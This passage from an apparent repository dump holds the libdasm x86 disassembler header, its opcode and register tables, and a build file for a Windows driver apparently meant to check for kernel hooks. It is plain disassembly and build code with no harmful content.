INSTRUCTION_TYPE_CMPS,\n INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right\n INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right\n INSTRUCTION_TYPE_MUL,\n INSTRUCTION_TYPE_IMUL,\n INSTRUCTION_TYPE_EIMUL, // \"extended\" imul with 2-3 operands\n INSTRUCTION_TYPE_XOR,\n INSTRUCTION_TYPE_LEA,\n INSTRUCTION_TYPE_XCHG,\n INSTRUCTION_TYPE_CMP,\n INSTRUCTION_TYPE_TEST,\n INSTRUCTION_TYPE_PUSH,\n INSTRUCTION_TYPE_AND,\n INSTRUCTION_TYPE_OR,\n INSTRUCTION_TYPE_POP,\n INSTRUCTION_TYPE_JMP,\n INSTRUCTION_TYPE_JMPC, // conditional jump\n INSTRUCTION_TYPE_SETC, // conditional byte set\n INSTRUCTION_TYPE_MOVC, // conditional mov\n INSTRUCTION_TYPE_LOOP,\n INSTRUCTION_TYPE_CALL,\n INSTRUCTION_TYPE_RET,\n INSTRUCTION_TYPE_INT, // interrupt\n INSTRUCTION_TYPE_BT, // bit tests\n INSTRUCTION_TYPE_BTS,\n INSTRUCTION_TYPE_BTR,\n INSTRUCTION_TYPE_BTC,\n INSTRUCTION_TYPE_BSF,\n INSTRUCTION_TYPE_BSR,\n INSTRUCTION_TYPE_BSWAP,\n INSTRUCTION_TYPE_SGDT,\n INSTRUCTION_TYPE_SIDT,\n INSTRUCTION_TYPE_SLDT,\n INSTRUCTION_TYPE_LFP,\n // FPU instructions\n INSTRUCTION_TYPE_FCMOVC, // float conditional mov\n INSTRUCTION_TYPE_FADD,\n INSTRUCTION_TYPE_FADDP,\n INSTRUCTION_TYPE_FIADD,\n INSTRUCTION_TYPE_FSUB,\n INSTRUCTION_TYPE_FSUBP,\n INSTRUCTION_TYPE_FISUB,\n INSTRUCTION_TYPE_FSUBR,\n INSTRUCTION_TYPE_FSUBRP,\n INSTRUCTION_TYPE_FISUBR,\n INSTRUCTION_TYPE_FMUL,\n INSTRUCTION_TYPE_FMULP,\n INSTRUCTION_TYPE_FIMUL,\n INSTRUCTION_TYPE_FDIV,\n INSTRUCTION_TYPE_FDIVP,\n INSTRUCTION_TYPE_FDIVR,\n INSTRUCTION_TYPE_FDIVRP,\n INSTRUCTION_TYPE_FIDIV,\n INSTRUCTION_TYPE_FIDIVR,\n INSTRUCTION_TYPE_FCOM,\n INSTRUCTION_TYPE_FCOMP,\n INSTRUCTION_TYPE_FCOMPP,\n INSTRUCTION_TYPE_FCOMI,\n INSTRUCTION_TYPE_FCOMIP,\n INSTRUCTION_TYPE_FUCOM,\n INSTRUCTION_TYPE_FUCOMP,\n INSTRUCTION_TYPE_FUCOMPP,\n INSTRUCTION_TYPE_FUCOMI,\n INSTRUCTION_TYPE_FUCOMIP,\n INSTRUCTION_TYPE_FST,\n INSTRUCTION_TYPE_FSTP,\n INSTRUCTION_TYPE_FIST,\n INSTRUCTION_TYPE_FISTP,\n INSTRUCTION_TYPE_FISTTP,\n INSTRUCTION_TYPE_FLD,\n INSTRUCTION_TYPE_FILD,\n INSTRUCTION_TYPE_FICOM,\n INSTRUCTION_TYPE_FICOMP,\n INSTRUCTION_TYPE_FFREE,\n INSTRUCTION_TYPE_FFREEP,\n INSTRUCTION_TYPE_FXCH,\n INSTRUCTION_TYPE_FPU, // Other FPU instructions\n\n INSTRUCTION_TYPE_MMX, // Other MMX instructions\n\n INSTRUCTION_TYPE_SSE, // Other SSE instructions\n\n INSTRUCTION_TYPE_OTHER, // Other instructions :-)\n INSTRUCTION_TYPE_PRIV // Privileged instruction\n};\n\n// Operand types\nenum Operand {\n OPERAND_TYPE_NONE, // operand not present\n OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.)\n OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.)\n OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234)\n};\n\n// Structure definitions\n\n// struct INST is used internally by the library\ntypedef struct _INST {\n enum Instruction type; // Instruction type\n const char *mnemonic; // Instruction mnemonic\n int flags1; // First operand flags (if any)\n int flags2; // Second operand flags (if any)\n int flags3; // Additional operand flags (if any)\n int modrm; // Is MODRM byte present?\n} INST, *PINST;\n\n// Operands for the instruction\ntypedef struct _OPERAND {\n enum Operand type; // Operand type (register, memory, etc)\n int reg; // Register (if any)\n int basereg; // Base register (if any)\n int indexreg; // Index register (if any)\n int scale; // Scale (if any)\n int dispbytes; // Displacement bytes (0 = no displacement)\n int dispoffset; // Displacement value offset\n int immbytes; // Immediate bytes (0 = no immediate)\n int immoffset; // Immediate value offset\n int sectionbytes; // Section prefix bytes (0 = no section prefix)\n WORD section; // Section prefix value\n DWORD displacement; // Displacement value\n DWORD immediate; // Immediate value\n int flags; // Operand flags\n} OPERAND, *POPERAND;\n\n// struct INSTRUCTION is used to interface the library\ntypedef struct _INSTRUCTION {\n int length; // Instruction length\n enum Instruction type; // Instruction type\n enum Mode mode; // Addressing mode\n BYTE opcode; // Actual opcode\n BYTE modrm; // MODRM byte\n BYTE sib; // SIB byte\n int extindex; // Extension table index\n int fpuindex; // FPU table index\n int dispbytes; // Displacement bytes (0 = no displacement)\n int immbytes; // Immediate bytes (0 = no immediate)\n int sectionbytes; // Section prefix bytes (0 = no section prefix)\n OPERAND op1; // First operand (if any)\n OPERAND op2; // Second operand (if any)\n OPERAND op3; // Additional operand (if any)\n PINST ptr; // Pointer to instruction table\n int flags; // Instruction flags\n} INSTRUCTION, *PINSTRUCTION;\n\n\n// Function definitions\n\nint get_instruction(\n INSTRUCTION *inst, // pointer to INSTRUCTION structure\n BYTE *addr, // code buffer\n enum Mode mode // mode: MODE_32 or MODE_16\n);\n\n// Get complete instruction string\nint get_instruction_string(\n INSTRUCTION *inst, // pointer to INSTRUCTION structure\n enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL\n DWORD offset, // instruction absolute address\n char *string, // string buffer\n int length // string length\n);\n\n// Get mnemonic string\nint get_mnemonic_string(\n INSTRUCTION *inst, // pointer to INSTRUCTION structure\n enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL\n char *string, // string buffer\n int length // string length\n);\n\n// Get individual operand string\nint get_operand_string(\n INSTRUCTION *inst, // pointer to INSTRUCTION structure\n POPERAND op, // pointer to OPERAND structure\n enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL\n DWORD offset, // instruction absolute address\n char *string, // string buffer\n int length // string length\n);\n\n// Helper functions\n\nint get_register_type(\n POPERAND op\n);\nint get_operand_type(\n POPERAND op\n);\nint get_operand_register(\n POPERAND op\n);\nint get_operand_basereg(\n POPERAND op\n);\nint get_operand_indexreg(\n POPERAND op\n);\nint get_operand_scale(\n POPERAND op\n);\nint get_operand_immediate(\n POPERAND op,\n DWORD *imm // returned immediate value\n);\nint get_operand_displacement(\n POPERAND op,\n DWORD *disp // returned displacement value\n);\nPOPERAND get_source_operand(\n PINSTRUCTION inst\n);\nPOPERAND get_destination_operand(\n PINSTRUCTION inst\n);\n\n\n// Instruction prefix groups\n\n// Group 1\n#define MASK_PREFIX_G1(x) ((x) & 0xFF000000) >> 24\n#define PREFIX_LOCK 0x01000000 // 0xf0\n#define PREFIX_REPNE 0x02000000 // 0xf2\n#define PREFIX_REP 0x03000000 // 0xf3\n#define PREFIX_REPE 0x03000000 // 0xf3\n// Group 2\n#define MASK_PREFIX_G2(x) ((x) & 0x00FF0000) >> 16\n#define PREFIX_ES_OVERRIDE 0x00010000 // 0x26\n#define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e\n#define PREFIX_SS_OVERRIDE 0x00030000 // 0x36\n#define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e\n#define PREFIX_FS_OVERRIDE 0x00050000 // 0x64\n#define PREFIX_GS_OVERRIDE 0x00060000 // 0x65\n// Group 3 & 4\n#define MASK_PREFIX_G3(x) ((x) & 0x0000FF00) >> 8\n#define MASK_PREFIX_OPERAND(x) ((x) & 0x00000F00) >> 8\n#define MASK_PREFIX_ADDR(x) ((x) & 0x0000F000) >> 12\n#define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66\n#define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67\n\n\n// Extensions\n#define MASK_EXT(x) ((x) & 0x000000FF)\n#define EXT_G1 0x00000001\n#define EXT_G2 0x00000002\n#define EXT_G3 0x00000003\n#define EXT_G4 0x00000004\n#define EXT_G5 0x00000005\n#define EXT_G6 0x00000006\n#define EXT_G7 0x00000007\n#define EXT_G8 0x00000008\n#define EXT_G9 0x00000009\n#define EXT_GA 0x0000000a\n#define EXT_GB 0x0000000b\n#define EXT_GC 0x0000000c\n#define EXT_GD 0x0000000d\n#define EXT_GE 0x0000000e\n#define EXT_GF 0x0000000f\n#define EXT_G0 0x00000010\n\n// Extra groups for 2 and 3-byte opcodes, and FPU stuff\n#define EXT_T2 0x00000020 // opcode table 2\n#define EXT_CP 0x00000030 // co-processor\n\n// Operand flags\n#define FLAGS_NONE 0\n\n// Operand Addressing Methods, from the Intel manual\n#define MASK_AM(x) ((x) & 0x00FF0000)\n#define AM_A 0x00010000 // Direct address with segment prefix\n#define AM_C 0x00020000 // MODRM reg field defines control register\n#define AM_D 0x00030000 // MODRM reg field defines debug register\n#define AM_E 0x00040000 // MODRM byte defines reg/memory address\n#define AM_G 0x00050000 // MODRM byte defines general-purpose reg\n#define AM_I 0x00060000 // Immediate data follows\n#define AM_J 0x00070000 // Immediate value is relative to EIP\n#define AM_M 0x00080000 // MODRM mod field can refer only to memory\n#define AM_O 0x00090000 // Displacement follows (without modrm/sib)\n#define AM_P 0x000a0000 // MODRM reg field defines MMX register\n#define AM_Q 0x000b0000 // MODRM defines MMX register or memory \n#define AM_R 0x000c0000 // MODRM mod field can only refer to register\n#define AM_S 0x000d0000 // MODRM reg field defines segment register\n#define AM_T 0x000e0000 // MODRM reg field defines test register\n#define AM_V 0x000f0000 // MODRM reg field defines XMM register\n#define AM_W 0x00100000 // MODRM defines XMM register or memory \n// Extra addressing modes used in this implementation\n#define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction\n#define AM_REG 0x00210000 // Register encoded in instruction\n\n// Operand Types, from the intel manual\n#define MASK_OT(x) ((x) & 0xFF000000)\n#define OT_a 0x01000000\n#define OT_b 0x02000000 // always 1 byte\n#define OT_c 0x03000000 // byte or word, depending on operand\n#define OT_d 0x04000000 // double-word\n#define OT_q 0x05000000 // quad-word\n#define OT_dq 0x06000000 // double quad-word\n#define OT_v 0x07000000 // word or double-word, depending on operand\n#define OT_w 0x08000000 // always word\n#define OT_p 0x09000000 // 32-bit or 48-bit pointer\n#define OT_pi 0x0a000000 // quadword MMX register\n#define OT_pd 0x0b000000 // 128-bit double-precision float\n#define OT_ps 0x0c000000 // 128-bit single-precision float\n#define OT_s 0x0d000000 // 6-byte pseudo descriptor\n#define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float\n#define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float\n#define OT_si 0x10000000 // Doubleword integer register\n#define OT_t 0x11000000 // 80-bit packed FP data\n\n// Additional operand flags\n#define MASK_FLAGS(x) ((x) & 0x0000FF00)\n#define F_s 0x00000100 // sign-extend 1-byte immediate\n#define F_r 0x00000200 // use segment register\n#define F_f 0x00000300 // use FPU register\n\n\n// MODRM byte\n#define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6)\n#define MASK_MODRM_REG(x) (((x) & 0x38) >> 3)\n#define MASK_MODRM_RM(x) ((x) & 0x7)\n\n// SIB byte\n#define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x)\n#define MASK_SIB_INDEX(x) MASK_MODRM_REG(x)\n#define MASK_SIB_BASE(x) MASK_MODRM_RM(x)\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources", "content": "TARGETNAME=CheckKernelHook\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES= \\\r\nDriverEntry.c \\\r\nCommon.c \\\r\nKernelHookCheck.c \\\r\nReload.c \\\r\nFileSystem.c \\\r\nFixRelocation.c \\\r\nKernelReload.c \\\r\nlibdasm.c\r\n\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h", "content": "\n/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2005 jt / nologin.org\n *\n * Opcode tables for FPU, 1, 2 and 3-byte opcodes and\n * extensions.\n *\n */\n\n#include \"libdasm.h\"\n\n\n// lock/rep prefix name table\nconst char *rep_table[] = {\n \"lock \", \"repne \", \"rep \"\n};\n\n// Register name table\nconst char *reg_table[10][8] = {\n { \"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\" },\n { \"ax\", \"cx\", \"dx\", \"bx\", \"sp\", \"bp\", \"si\", \"di\" },\n { \"al\", \"cl\", \"dl\", \"bl\", \"ah\", \"ch\", \"dh\", \"bh\" },\n { \"es\", \"cs\", \"ss\", \"ds\", \"fs\", \"gs\", \"seg6\", \"seg7\" },\n { \"dr0\", \"dr1\", \"dr2\", \"dr3\", \"dr4\", \"dr5\", \"dr6\", \"dr7\" },\n { \"cr0\", \"cr1\", \"cr2\", \"cr3\", \"cr4\", \"cr5\", \"cr6\", \"cr7\" },\n { \"tr0\", \"tr1\", \"tr2\", \"tr3\", \"tr4\", \"tr5\", \"tr6\", \"tr7\" },\n { \"xmm0\", \"xmm1\", \"xmm2\", \"xmm3\", \"xmm4\", \"xmm5\", \"xmm6\", \"xmm7\" },\n { \"mm0\", \"mm1\", \"mm2\", \"mm3\", \"mm4\", \"mm5\", \"mm6\", \"mm7\" },\n { \"st(0)\",\"st(1)\",\"st(2)\",\"st(3)\",\"st(4)\",\"st(5)\",\"st(6)\",\"st(7)\"},\n};\n\n// Name table index\n#define REG_GEN_DWORD 0\n#define REG_GEN_WORD 1\n#define REG_GEN_BYTE 2\n#define REG_SEGMENT 3\n#define REG_DEBUG 4\n#define REG_CONTROL 5\n#define REG_TEST 6\n#define REG_XMM 7 \n#define REG_MMX 8 \n#define REG_FPU 9\n\n// Opcode extensions for one -and two-byte opcodes\n// XXX: move these to proper instruction structures ASAP!\n\nconst char * ext_name_table[16][8] = {\n { \"add\", \"or\", \"adc\", \"sbb\", \"and\", \"sub\", \"xor\", \"cmp\" }, // g1\n { \"rol\", \"ror\", \"rcl\", \"rcr\", \"shl\", \"shr\", NULL, \"sar\" }, // g2\n { \"test\", NULL, \"not\", \"neg\", \"mul\", \"imul\", \"div\", \"idiv\" }, // g3\n { \"inc\", \"dec\", NULL, NULL, NULL, NULL, NULL, NULL }, // g4\n { \"inc\", \"dec\", \"call\", \"callf\", \"jmp\", \"jmpf\", \"push\", NULL }, // g5\n { \"sldt\", \"str\", \"lldt\", \"ltr\", \"verr\", \"verw\", NULL, NULL }, // g6\n { \"sgdt\", \"sidt\", \"lgdt\", \"lidt\", \"smsw\", NULL, \"lmsw\", \"invlpg\" }, // g7\n { NULL, NULL, NULL, NULL, \"bt\", \"bts\", \"btr\", \"btc\" }, // g8\n { NULL, \"cmpxch\", NULL, NULL, NULL, NULL, NULL, NULL }, // g9\n { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // ga\n { \"mov\", NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // gb\n { NULL, NULL, \"psrlw\", NULL, \"psraw\", NULL, \"psllw\", NULL }, // gc\n { NULL, NULL, \"psrld\", NULL, \"psrad\", NULL, \"pslld\", NULL }, // gd\n // XXX: if 2-byte extension, 4th and 8th are not defined..\n { NULL, NULL, \"psrlq\", \"psrldq\", NULL, NULL, \"psllq\", \"pslldq\" }, // gd\n { \"fxsave\", \"fxrstor\", \"ldmxc5r\", \"stmxc5r\", NULL, NULL, NULL, \"sfence\" }, // gf\n { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // g0\n};\n\n// Instruction types for extensions\n// XXX: move these to proper instruction structures ASAP!\n\nenum Instruction ext_type_table[16][8] = {\n { // g1\n INSTRUCTION_TYPE_ADD, INSTRUCTION_TYPE_OR,\n INSTRUCTION_TYPE_ADC, INSTRUCTION_TYPE_SBB,\n INSTRUCTION_TYPE_AND, INSTRUCTION_TYPE_SUB,\n INSTRUCTION_TYPE_XOR, INSTRUCTION_TYPE_CMP,\n },\n { // g2\n INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX,\n INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX,\n INSTRUCTION_TYPE_SHX, INSTRUCTION_TYPE_SHX,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_SHX,\n },\n { // g3\n INSTRUCTION_TYPE_TEST, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_NOT, INSTRUCTION_TYPE_NEG,\n INSTRUCTION_TYPE_MUL, INSTRUCTION_TYPE_IMUL,\n INSTRUCTION_TYPE_DIV, INSTRUCTION_TYPE_IDIV,\n },\n { // g4\n INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n },\n { // g5\n INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC,\n INSTRUCTION_TYPE_CALL, INSTRUCTION_TYPE_CALL,\n INSTRUCTION_TYPE_JMP, INSTRUCTION_TYPE_JMP,\n INSTRUCTION_TYPE_PUSH, INSTRUCTION_TYPE_OTHER,\n },\n { // g6\n INSTRUCTION_TYPE_SLDT, INSTRUCTION_TYPE_PRIV,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n },\n { // g7\n INSTRUCTION_TYPE_SGDT, INSTRUCTION_TYPE_SIDT,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,\n },\n { // g8\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_BT, INSTRUCTION_TYPE_BTS,\n INSTRUCTION_TYPE_BTR, INSTRUCTION_TYPE_BTC,\n },\n { // g9\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n },\n { // ga\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n },\n { // gb\n INSTRUCTION_TYPE_MOV, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n },\n { // gc\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n },\n { // gd\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,\n },\n { // ge\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE,\n },\n { // gf\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n },\n { // g0\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,\n }\n};\n\n\n// 1-byte opcodes\nINST inst_table1[256] = {\n { INSTRUCTION_TYPE_ADD, \"add\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADD, \"add\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_ADD, \"add\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADD, \"add\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADD, \"add\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_ADD, \"add\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OR, \"or\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OR, \"or\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_OR, \"or\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OR, \"or\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OR, \"or\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OR, \"or\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_CS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n // Escape to 2-byte opcode table\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_ADC, \"adc\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADC, \"adc\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_ADC, \"adc\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADC, \"adc\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ADC, \"adc\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_ADC, \"adc\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SBB, \"sbb\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_AND, \"and\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_AND, \"and\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_AND, \"and\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_AND, \"and\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_AND, \"and\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_AND, \"and\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n // seg ES override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DCL, \"daa\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SUB, \"sub\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SUB, \"sub\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_SUB, \"sub\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SUB, \"sub\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SUB, \"sub\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SUB, \"sub\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n // seg CS override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DCL, \"das\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_XOR, \"xor\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XOR, \"xor\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_XOR, \"xor\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XOR, \"xor\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XOR, \"xor\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XOR, \"xor\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n // seg SS override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_ASC, \"aaa\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CMP, \"cmp\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n // seg DS override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_ASC, \"aas\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_INC, \"inc\", 